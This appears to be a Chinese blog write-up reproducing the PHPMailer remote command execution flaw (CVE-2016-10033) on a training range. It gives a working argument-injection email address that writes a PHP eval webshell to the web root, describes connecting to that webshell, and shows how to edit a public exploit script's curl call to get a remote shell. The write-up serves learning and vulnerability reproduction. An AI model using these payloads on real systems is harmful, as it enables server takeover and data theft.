banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban

PHPMailer远程命令执行漏洞复现

0x01 漏洞原理#

知识点梳理,靶场复现

漏洞编号:CVE-2016-10033

影响范围:PHPMailer 版本 < 5.2.18

PHPMailer 中的 mail 函数在发送邮件时使用了系统 sendmail 方法,由于没有足够过滤使得用户可以注入攻击代码

PHPMailer命令执行漏洞(CVE-2016-10033)利用escapeshellargescapeshellcmd两个函数结合使用,导致了单引号逃逸。具体的漏洞分析和利用过程可以通过合天网安的这个实验进行,但是要价 200 和氏币:

image

0x02 靶场复现#

先用墨者靶场复现

打开页面是一个英文网站,拉到底部有个邮件链接:

image

点进去,是个邮件发送界面;

image

Exp:

构造邮箱

"attacker\" -oQ/tmp -X/var/www/html/shell.php soapffz"@gmail.com

消息:

<?php @eval($_POST[a]);?>

image

sendmail -X参数可以将日志写入指定文件,发送后页面卡住了,但是不要紧,其实一句话木马已经写入了

image

上蚁剑连接:

image

拿到key

0x03 rce-exp#

exp地址,下载后,测试远程目标运行如下命令:

./exploit host:port

本地测试如下:

./exploit localhost:8080

默认的exp只给两个参数hostport,本题里面还有目录mail.php,简单修改即可:

只需把

curl -sq 'http://'$host -H 'Content-Type:

中添加你对应的目录即可:

curl -sq 'http://'$host/mail.php -H 'Content-Type:

image

成功获取到远程shell,权限是www-data用户

0x04 尝试提权#

还没。。

本文完。

参考文章:

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。